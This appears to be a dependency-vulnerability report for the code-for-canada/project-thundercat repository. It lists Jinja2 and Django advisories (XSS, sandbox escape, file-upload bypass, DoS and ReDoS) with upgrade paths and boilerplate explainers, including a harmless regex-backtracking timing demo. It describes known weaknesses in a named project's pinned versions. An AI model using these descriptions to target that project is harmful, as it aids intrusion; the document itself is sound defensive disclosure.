Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the xmlattr
filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.
Note: This vulnerability derives from an improper fix of CVE-2024-22195, which only addressed spaces but not other characters.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade Jinja2
to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@3.1.5.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Affected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a SyntaxError: f-string: invalid syntax
error message because the filename is not properly escaped, indicating that it is being treated as a format string.
Note: This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.
Remediation
Upgrade jinja2
to version 3.1.5 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@3.1.5.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Affected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's format
method, which can then be executed through a filter.
Note: This is only exploitable through custom filters in an application.
Remediation
Upgrade jinja2
to version 3.1.5 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@3.1.6.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.
Affected versions of this package are vulnerable to Template Injection through the |attr
filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the |attr
filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.
Note:
This is only exploitable if the application executes untrusted templates.
Remediation
Upgrade Jinja2
to version 3.1.6 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.25.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Access Restriction Bypass. HTTP requests for URLs with trailing newlines could bypass upstream access control based on URL paths.
Remediation
Upgrade Django
to version 2.2.25, 3.1.14, 3.2.10 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.19.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Arbitrary File Upload by bypassing of validation of all but the last file when uploading multiple files using a single forms.FileField
or forms.ImageField
.
Remediation
Upgrade django
to version 3.2.19, 4.1.9, 4.2.1 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.26.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Denial of Service (DoS) via UserAttributeSimilarityValidator
, when evaluating submitted passwords that are extremely large relatively to the comparison values. This issue is mitigated in newer versions by ignoring long values in UserAttributeSimilarityValidator
.
Note: it is exploitable under the assumption that access to user registration is unrestricted.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade Django
to version 2.2.26, 3.2.11, 4.0.1 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Denial of Service (DoS). If passed certain inputs, django.utils.encoding.uri_to_iri
could lead to significant memory usage due to a recursion when repercent-encoding invalid UTF-8 octet sequences.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade Django
to version 1.11.23, 2.1.11, 2.2.4 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Denial of Service (DoS). Due to the behaviour of the underlying HTMLParser, django.utils.html.strip_tags
would be extremely slow to evaluate certain inputs containing large sequences of nested incomplete HTML entities.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade Django
to version 1.11.23, 2.1.11, 2.2.4 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Denial of Service (DoS). If django.utils.text.Truncator
's chars()
and words()
methods were passed the html=True
argument, they were extremely slow to evaluate certain inputs due to a catastrophic backtracking vulnerability in a regular expression. The chars()
and words()
methods are used to implement the truncatechars_html
and truncatewords_html
template filters, which were thus vulnerable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade Django
to version 1.11.23, 2.1.11, 2.2.4 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.23.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via the NFKC normalization
function in django.contrib.auth.forms.UsernameField
. A potential attack can be executed via certain inputs with a very large number of Unicode characters.
Note: This vulnerability is only exploitable on Windows systems.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 3.2.23, 4.1.13, 4.2.7 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.25.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in django.utils.text.Truncator.words()
, whose performance can be degraded when processing a malicious input involving repeated <
characters.
Note:
The function is only vulnerable when html=True
is set and the truncatewords_html
template filter is in use.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
